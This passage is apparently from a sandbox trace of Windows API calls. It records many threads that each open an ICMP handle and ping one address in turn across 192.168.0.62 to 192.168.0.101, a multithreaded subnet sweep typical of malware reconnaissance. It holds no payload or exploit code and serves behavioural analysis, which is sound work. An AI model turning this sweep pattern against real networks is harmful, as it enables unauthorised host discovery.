	[0226.903] SetLastError (dwErrCode=0x57) 
	[0226.903] IcmpCreateFile () returned 0x286680
	[0228.122] IcmpSendEcho (IcmpHandle=0x286680, DestinationAddress=0x3e00a8c0, RequestData=0xd55fb20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd55fb40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 842
	os_tid = 0xc70

	[0226.904] GetLastError () returned 0x57
	[0226.904] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2978f0
	[0226.904] SetLastError (dwErrCode=0x57) 
	[0226.904] IcmpCreateFile () returned 0x2866d0
	[0228.123] IcmpSendEcho (IcmpHandle=0x2866d0, DestinationAddress=0x3f00a8c0, RequestData=0xd70fc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd70fc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 843
	os_tid = 0x310

	[0226.905] GetLastError () returned 0x57
	[0226.905] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x297cc0
	[0226.905] SetLastError (dwErrCode=0x57) 
	[0226.905] IcmpCreateFile () returned 0x286720
	[0228.124] IcmpSendEcho (IcmpHandle=0x286720, DestinationAddress=0x4000a8c0, RequestData=0xd8ffaa0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd8ffac0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 844
	os_tid = 0x628

	[0226.906] GetLastError () returned 0x57
	[0226.906] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x298390
	[0226.907] SetLastError (dwErrCode=0x57) 
	[0226.907] IcmpCreateFile () returned 0x286770
	[0228.125] IcmpSendEcho (IcmpHandle=0x286770, DestinationAddress=0x4100a8c0, RequestData=0xdb2fb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xdb2fb60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 845
	os_tid = 0x115c

	[0226.908] GetLastError () returned 0x57
	[0226.908] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x298760
	[0226.908] SetLastError (dwErrCode=0x57) 
	[0226.908] IcmpCreateFile () returned 0x2867c0
	[0228.126] IcmpSendEcho (IcmpHandle=0x2867c0, DestinationAddress=0x4200a8c0, RequestData=0xdd5fea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xdd5fec0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 846
	os_tid = 0x112c

	[0226.909] GetLastError () returned 0x57
	[0226.909] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x298b30
	[0226.909] SetLastError (dwErrCode=0x57) 
	[0226.910] IcmpCreateFile () returned 0x286810
	[0228.127] IcmpSendEcho (IcmpHandle=0x286810, DestinationAddress=0x4300a8c0, RequestData=0xdeef900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xdeef920, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 847
	os_tid = 0x119c

	[0226.910] GetLastError () returned 0x57
	[0226.910] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x298f00
	[0226.910] SetLastError (dwErrCode=0x57) 
	[0226.911] IcmpCreateFile () returned 0x286860
	[0228.128] IcmpSendEcho (IcmpHandle=0x286860, DestinationAddress=0x4400a8c0, RequestData=0xd45fbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd45fc00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 848
	os_tid = 0x1158

	[0227.060] GetLastError () returned 0x57
	[0227.060] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2992d0
	[0227.060] SetLastError (dwErrCode=0x57) 
	[0227.060] IcmpCreateFile () returned 0x2868b0
	[0228.129] IcmpSendEcho (IcmpHandle=0x2868b0, DestinationAddress=0x4500a8c0, RequestData=0xe00f960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe00f980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 859
	os_tid = 0x1260

	[0227.061] GetLastError () returned 0x57
	[0227.061] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2996a0
	[0227.061] SetLastError (dwErrCode=0x57) 
	[0227.061] IcmpCreateFile () returned 0x286900
	[0228.130] IcmpSendEcho (IcmpHandle=0x286900, DestinationAddress=0x4600a8c0, RequestData=0xe16f7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe16f7e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 860
	os_tid = 0x838

	[0227.062] GetLastError () returned 0x57
	[0227.062] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x299a70
	[0227.062] SetLastError (dwErrCode=0x57) 
	[0227.062] IcmpCreateFile () returned 0x286950
	[0228.131] IcmpSendEcho (IcmpHandle=0x286950, DestinationAddress=0x4700a8c0, RequestData=0xe2ef7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe2ef7e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 861
	os_tid = 0x1074

	[0227.063] GetLastError () returned 0x57
	[0227.063] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x299e40
	[0227.063] SetLastError (dwErrCode=0x57) 
	[0227.063] IcmpCreateFile () returned 0x2869a0
	[0228.132] IcmpSendEcho (in: IcmpHandle=0x2869a0, DestinationAddress=0x4800a8c0, RequestData=0xe48fa40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe48fa60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xe48fa60) returned 0x0
	[0284.555] IcmpCloseHandle (IcmpHandle=0x2869a0) returned 1
	[0284.556] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x299e40 | out: hHeap=0x230000) returned 1

Thread:
	id = 862
	os_tid = 0x1220

	[0227.065] GetLastError () returned 0x57
	[0227.065] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x29a210
	[0227.065] SetLastError (dwErrCode=0x57) 
	[0227.065] IcmpCreateFile () returned 0x2869f0
	[0228.134] IcmpSendEcho (in: IcmpHandle=0x2869f0, DestinationAddress=0x4900a8c0, RequestData=0xe6efee0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe6eff00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xe6eff00) returned 0x0
	[0283.900] IcmpCloseHandle (IcmpHandle=0x2869f0) returned 1
	[0283.900] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29a210 | out: hHeap=0x230000) returned 1

Thread:
	id = 863
	os_tid = 0xdd0

	[0227.066] GetLastError () returned 0x57
	[0227.066] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x29a5e0
	[0227.066] SetLastError (dwErrCode=0x57) 
	[0227.066] IcmpCreateFile () returned 0x286a40
	[0228.135] IcmpSendEcho (in: IcmpHandle=0x286a40, DestinationAddress=0x4a00a8c0, RequestData=0xe89fd40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe89fd60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xe89fd60) returned 0x0
	[0283.386] IcmpCloseHandle (IcmpHandle=0x286a40) returned 1
	[0283.386] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29a5e0 | out: hHeap=0x230000) returned 1

Thread:
	id = 864
	os_tid = 0xf58

	[0227.067] GetLastError () returned 0x57
	[0227.067] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x29a9b0
	[0227.067] SetLastError (dwErrCode=0x57) 
	[0227.067] IcmpCreateFile () returned 0x286a90
	[0228.136] IcmpSendEcho (in: IcmpHandle=0x286a90, DestinationAddress=0x4b00a8c0, RequestData=0xe5af760, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe5af780, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xe5af780) returned 0x0
	[0282.168] IcmpCloseHandle (IcmpHandle=0x286a90) returned 1
	[0282.169] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29a9b0 | out: hHeap=0x230000) returned 1

Thread:
	id = 865
	os_tid = 0x534

	[0227.068] GetLastError () returned 0x57
	[0227.068] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x29ad80
	[0227.069] SetLastError (dwErrCode=0x57) 
	[0227.069] IcmpCreateFile () returned 0x2a5e30
	[0228.137] IcmpSendEcho (in: IcmpHandle=0x2a5e30, DestinationAddress=0x4c00a8c0, RequestData=0xe9df8a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe9df8c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xe9df8c0) returned 0x0
	[0279.048] IcmpCloseHandle (IcmpHandle=0x2a5e30) returned 1
	[0279.049] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29ad80 | out: hHeap=0x230000) returned 1

Thread:
	id = 866
	os_tid = 0x53c

	[0227.069] GetLastError () returned 0x57
	[0227.069] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x29b150
	[0227.069] SetLastError (dwErrCode=0x57) 
	[0227.069] IcmpCreateFile () returned 0x2a5e80
	[0228.138] IcmpSendEcho (in: IcmpHandle=0x2a5e80, DestinationAddress=0x4d00a8c0, RequestData=0xeb7fd60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xeb7fd80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xeb7fd80) returned 0x0
	[0278.483] IcmpCloseHandle (IcmpHandle=0x2a5e80) returned 1
	[0278.483] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29b150 | out: hHeap=0x230000) returned 1

Thread:
	id = 867
	os_tid = 0x5b8

	[0227.070] GetLastError () returned 0x57
	[0227.071] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x29b520
	[0227.071] SetLastError (dwErrCode=0x57) 
	[0227.071] IcmpCreateFile () returned 0x2a5ed0
	[0228.139] IcmpSendEcho (in: IcmpHandle=0x2a5ed0, DestinationAddress=0x4e00a8c0, RequestData=0xecffce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xecffd00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xecffd00) returned 0x0
	[0278.112] IcmpCloseHandle (IcmpHandle=0x2a5ed0) returned 1
	[0278.113] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29b520 | out: hHeap=0x230000) returned 1

Thread:
	id = 868
	os_tid = 0x1130

	[0227.071] GetLastError () returned 0x57
	[0227.072] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x29b8f0
	[0227.072] SetLastError (dwErrCode=0x57) 
	[0227.072] IcmpCreateFile () returned 0x2a5f20
	[0228.140] IcmpSendEcho (in: IcmpHandle=0x2a5f20, DestinationAddress=0x4f00a8c0, RequestData=0xee9f9e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xee9fa00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xee9fa00) returned 0x0
	[0277.457] IcmpCloseHandle (IcmpHandle=0x2a5f20) returned 1
	[0277.458] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29b8f0 | out: hHeap=0x230000) returned 1

Thread:
	id = 869
	os_tid = 0x11bc

	[0227.072] GetLastError () returned 0x57
	[0227.073] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x29bcc0
	[0227.073] SetLastError (dwErrCode=0x57) 
	[0227.073] IcmpCreateFile () returned 0x2a5f70
	[0228.141] IcmpSendEcho (in: IcmpHandle=0x2a5f70, DestinationAddress=0x5000a8c0, RequestData=0xef9fce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xef9fd00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xef9fd00) returned 0x0
	[0276.927] IcmpCloseHandle (IcmpHandle=0x2a5f70) returned 1
	[0276.927] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29bcc0 | out: hHeap=0x230000) returned 1

Thread:
	id = 870
	os_tid = 0x1218

	[0227.074] GetLastError () returned 0x57
	[0227.074] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2a6e30
	[0227.076] SetLastError (dwErrCode=0x57) 
	[0227.076] IcmpCreateFile () returned 0x2a5fc0
	[0228.142] IcmpSendEcho (in: IcmpHandle=0x2a5fc0, DestinationAddress=0x5100a8c0, RequestData=0xf09fbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf09fc00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xf09fc00) returned 0x0
	[0276.367] IcmpCloseHandle (IcmpHandle=0x2a5fc0) returned 1
	[0276.367] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a6e30 | out: hHeap=0x230000) returned 1

Thread:
	id = 871
	os_tid = 0x1038

	[0227.077] GetLastError () returned 0x57
	[0227.077] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2a7200
	[0227.077] SetLastError (dwErrCode=0x57) 
	[0227.077] IcmpCreateFile () returned 0x2a6010
	[0228.143] IcmpSendEcho (in: IcmpHandle=0x2a6010, DestinationAddress=0x5200a8c0, RequestData=0xf1ff8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf1ff900, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xf1ff900) returned 0x0
	[0275.773] IcmpCloseHandle (IcmpHandle=0x2a6010) returned 1
	[0275.773] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a7200 | out: hHeap=0x230000) returned 1

Thread:
	id = 872
	os_tid = 0x1248

	[0227.078] GetLastError () returned 0x57
	[0227.078] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2a75d0
	[0227.078] SetLastError (dwErrCode=0x57) 
	[0227.078] IcmpCreateFile () returned 0x2a6060
	[0228.145] IcmpSendEcho (in: IcmpHandle=0x2a6060, DestinationAddress=0x5300a8c0, RequestData=0xf3ffa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf3ffaa0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xf3ffaa0) returned 0x0
	[0275.462] IcmpCloseHandle (IcmpHandle=0x2a6060) returned 1
	[0275.463] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a75d0 | out: hHeap=0x230000) returned 1

Thread:
	id = 873
	os_tid = 0x125c

	[0227.079] GetLastError () returned 0x57
	[0227.079] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2a79a0
	[0227.079] SetLastError (dwErrCode=0x57) 
	[0227.079] IcmpCreateFile () returned 0x2a60b0
	[0228.146] IcmpSendEcho (in: IcmpHandle=0x2a60b0, DestinationAddress=0x5400a8c0, RequestData=0xd9ffb60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd9ffb80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xd9ffb80) returned 0x0
	[0273.690] IcmpCloseHandle (IcmpHandle=0x2a60b0) returned 1
	[0273.690] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a79a0 | out: hHeap=0x230000) returned 1

Thread:
	id = 874
	os_tid = 0x114c

	[0227.079] GetLastError () returned 0x57
	[0227.080] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2a7d70
	[0227.080] SetLastError (dwErrCode=0x57) 
	[0227.080] IcmpCreateFile () returned 0x2a6100
	[0228.147] IcmpSendEcho (in: IcmpHandle=0x2a6100, DestinationAddress=0x5500a8c0, RequestData=0xf5af760, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf5af780, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xf5af780) returned 0x0
	[0270.167] IcmpCloseHandle (IcmpHandle=0x2a6100) returned 1
	[0270.168] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a7d70 | out: hHeap=0x230000) returned 1

Thread:
	id = 875
	os_tid = 0x10ec

	[0227.080] GetLastError () returned 0x57
	[0227.081] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2a8140
	[0227.081] SetLastError (dwErrCode=0x57) 
	[0227.081] IcmpCreateFile () returned 0x2a6150
	[0228.148] IcmpSendEcho (in: IcmpHandle=0x2a6150, DestinationAddress=0x5600a8c0, RequestData=0xf71f7e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf71f800, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xf71f800) returned 0x0
	[0269.523] IcmpCloseHandle (IcmpHandle=0x2a6150) returned 1
	[0269.523] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a8140 | out: hHeap=0x230000) returned 1

Thread:
	id = 876
	os_tid = 0x1124

	[0227.082] GetLastError () returned 0x57
	[0227.082] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2a8510
	[0227.082] SetLastError (dwErrCode=0x57) 
	[0227.082] IcmpCreateFile () returned 0x2a61a0
	[0228.150] IcmpSendEcho (in: IcmpHandle=0x2a61a0, DestinationAddress=0x5700a8c0, RequestData=0xf2ff860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf2ff880, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xf2ff880) returned 0x0
	[0269.223] IcmpCloseHandle (IcmpHandle=0x2a61a0) returned 1
	[0269.223] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a8510 | out: hHeap=0x230000) returned 1

Thread:
	id = 877
	os_tid = 0x524

	[0227.083] GetLastError () returned 0x57
	[0227.083] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2a88e0
	[0227.083] SetLastError (dwErrCode=0x57) 
	[0227.083] IcmpCreateFile () returned 0x2a61f0
	[0228.151] IcmpSendEcho (in: IcmpHandle=0x2a61f0, DestinationAddress=0x5800a8c0, RequestData=0xf83fd60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf83fd80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xf83fd80) returned 0x0
	[0268.474] IcmpCloseHandle (IcmpHandle=0x2a61f0) returned 1
	[0268.474] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a88e0 | out: hHeap=0x230000) returned 1

Thread:
	id = 878
	os_tid = 0x120c

	[0227.146] GetLastError () returned 0x57
	[0227.146] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2a8cb0
	[0227.146] SetLastError (dwErrCode=0x57) 
	[0227.146] IcmpCreateFile () returned 0x2a6240
	[0228.153] IcmpSendEcho (in: IcmpHandle=0x2a6240, DestinationAddress=0x5900a8c0, RequestData=0xfa1fa60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfa1fa80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xfa1fa80) returned 0x0
	[0267.600] IcmpCloseHandle (IcmpHandle=0x2a6240) returned 1
	[0267.600] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a8cb0 | out: hHeap=0x230000) returned 1

Thread:
	id = 887
	os_tid = 0xb7c

	[0227.147] GetLastError () returned 0x57
	[0227.147] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2a9080
	[0227.147] SetLastError (dwErrCode=0x57) 
	[0227.147] IcmpCreateFile () returned 0x2a6290
	[0228.154] IcmpSendEcho (in: IcmpHandle=0x2a6290, DestinationAddress=0x5a00a8c0, RequestData=0xdc2f980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xdc2f9a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xdc2f9a0) returned 0x0
	[0266.995] IcmpCloseHandle (IcmpHandle=0x2a6290) returned 1
	[0266.995] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a9080 | out: hHeap=0x230000) returned 1

Thread:
	id = 888
	os_tid = 0x1404

	[0227.148] GetLastError () returned 0x57
	[0227.148] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2a9450
	[0227.148] SetLastError (dwErrCode=0x57) 
	[0227.148] IcmpCreateFile () returned 0x2a62e0
	[0228.155] IcmpSendEcho (in: IcmpHandle=0x2a62e0, DestinationAddress=0x5b00a8c0, RequestData=0xfc9fd40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfc9fd60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xfc9fd60) returned 0x0
	[0262.845] IcmpCloseHandle (IcmpHandle=0x2a62e0) returned 1
	[0262.845] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a9450 | out: hHeap=0x230000) returned 1

Thread:
	id = 889
	os_tid = 0x1408

	[0227.151] GetLastError () returned 0x57
	[0227.151] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2a9820
	[0227.151] SetLastError (dwErrCode=0x57) 
	[0227.151] IcmpCreateFile () returned 0x2a6330
	[0228.156] IcmpSendEcho (in: IcmpHandle=0x2a6330, DestinationAddress=0x5c00a8c0, RequestData=0xfdafec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfdafee0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xfdafee0) returned 0x0
	[0262.431] IcmpCloseHandle (IcmpHandle=0x2a6330) returned 1
	[0262.432] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a9820 | out: hHeap=0x230000) returned 1

Thread:
	id = 890
	os_tid = 0x140c

	[0227.152] GetLastError () returned 0x57
	[0227.152] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2a9bf0
	[0227.152] SetLastError (dwErrCode=0x57) 
	[0227.152] IcmpCreateFile () returned 0x2a6380
	[0228.157] IcmpSendEcho (in: IcmpHandle=0x2a6380, DestinationAddress=0x5d00a8c0, RequestData=0xfb7fd80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfb7fda0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xfb7fda0) returned 0x0
	[0261.862] IcmpCloseHandle (IcmpHandle=0x2a6380) returned 1
	[0261.862] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a9bf0 | out: hHeap=0x230000) returned 1

Thread:
	id = 891
	os_tid = 0x1410

	[0227.153] GetLastError () returned 0x57
	[0227.153] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2a9fc0
	[0227.153] SetLastError (dwErrCode=0x57) 
	[0227.153] IcmpCreateFile () returned 0x2a63d0
	[0228.158] IcmpSendEcho (in: IcmpHandle=0x2a63d0, DestinationAddress=0x5e00a8c0, RequestData=0xfeef880, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xfeef8a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xfeef8a0) returned 0x0
	[0261.354] IcmpCloseHandle (IcmpHandle=0x2a63d0) returned 1
	[0261.354] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a9fc0 | out: hHeap=0x230000) returned 1

Thread:
	id = 892
	os_tid = 0x1414

	[0227.154] GetLastError () returned 0x57
	[0227.154] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2aa390
	[0227.154] SetLastError (dwErrCode=0x57) 
	[0227.154] IcmpCreateFile () returned 0x2a6420
	[0228.159] IcmpSendEcho (in: IcmpHandle=0x2a6420, DestinationAddress=0x5f00a8c0, RequestData=0x100cfe60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x100cfe80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x100cfe80) returned 0x0
	[0260.870] IcmpCloseHandle (IcmpHandle=0x2a6420) returned 1
	[0260.870] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2aa390 | out: hHeap=0x230000) returned 1

Thread:
	id = 893
	os_tid = 0x1418

	[0227.155] GetLastError () returned 0x57
	[0227.155] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2aa760
	[0227.155] SetLastError (dwErrCode=0x57) 
	[0227.155] IcmpCreateFile () returned 0x2a6470
	[0228.160] IcmpSendEcho (in: IcmpHandle=0x2a6470, DestinationAddress=0x6000a8c0, RequestData=0x103af8a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x103af8c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x103af8c0) returned 0x0
	[0259.505] IcmpCloseHandle (IcmpHandle=0x2a6470) returned 1
	[0259.505] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2aa760 | out: hHeap=0x230000) returned 1

Thread:
	id = 894
	os_tid = 0x141c

	[0227.156] GetLastError () returned 0x57
	[0227.156] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ab630
	[0227.158] SetLastError (dwErrCode=0x57) 
	[0227.158] IcmpCreateFile () returned 0x2a64c0
	[0228.163] IcmpSendEcho (in: IcmpHandle=0x2a64c0, DestinationAddress=0x6100a8c0, RequestData=0x104bfa00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x104bfa20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x104bfa20) returned 0x0
	[0259.150] IcmpCloseHandle (IcmpHandle=0x2a64c0) returned 1
	[0259.151] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ab630 | out: hHeap=0x230000) returned 1

Thread:
	id = 895
	os_tid = 0x1420

	[0227.159] GetLastError () returned 0x57
	[0227.159] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2aba00
	[0227.159] SetLastError (dwErrCode=0x57) 
	[0227.159] IcmpCreateFile () returned 0x2a6510
	[0228.164] IcmpSendEcho (in: IcmpHandle=0x2a6510, DestinationAddress=0x6200a8c0, RequestData=0x1066f700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1066f720, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1066f720) returned 0x0
	[0258.614] IcmpCloseHandle (IcmpHandle=0x2a6510) returned 1
	[0258.615] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2aba00 | out: hHeap=0x230000) returned 1

Thread:
	id = 896
	os_tid = 0x1424

	[0227.160] GetLastError () returned 0x57
	[0227.161] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2abdd0
	[0227.161] SetLastError (dwErrCode=0x57) 
	[0227.161] IcmpCreateFile () returned 0x2a6560
	[0228.165] IcmpSendEcho (in: IcmpHandle=0x2a6560, DestinationAddress=0x6300a8c0, RequestData=0x1028f7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1028f7e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1028f7e0) returned 0x0
	[0258.176] IcmpCloseHandle (IcmpHandle=0x2a6560) returned 1
	[0258.176] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2abdd0 | out: hHeap=0x230000) returned 1

Thread:
	id = 897
	os_tid = 0x1428

	[0227.162] GetLastError () returned 0x57
	[0227.162] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ac1a0
	[0227.162] SetLastError (dwErrCode=0x57) 
	[0227.162] IcmpCreateFile () returned 0x2a65b0
	[0228.166] IcmpSendEcho (in: IcmpHandle=0x2a65b0, DestinationAddress=0x6400a8c0, RequestData=0x1088f980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1088f9a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1088f9a0) returned 0x0
	[0257.752] IcmpCloseHandle (IcmpHandle=0x2a65b0) returned 1
	[0257.752] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ac1a0 | out: hHeap=0x230000) returned 1

Thread:
	id = 898
	os_tid = 0x142c

	[0227.163] GetLastError () returned 0x57
	[0227.163] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ac570
	[0227.163] SetLastError (dwErrCode=0x57) 
	[0227.163] IcmpCreateFile () returned 0x2a6600
	[0228.170] IcmpSendEcho (in: IcmpHandle=0x2a6600, DestinationAddress=0x6500a8c0, RequestData=0x10aff9e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x10affa00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x10affa00) returned 0x0
	[0256.845] IcmpCloseHandle (IcmpHandle=0x2a6600) returned 1
	[0256.846] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ac570 | out: hHeap=0x230000) returned 1

Thread:
	id = 899
	os_tid = 0x1430

	[0227.165] GetLastError () returned 0x57
	[0227.165] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ac940
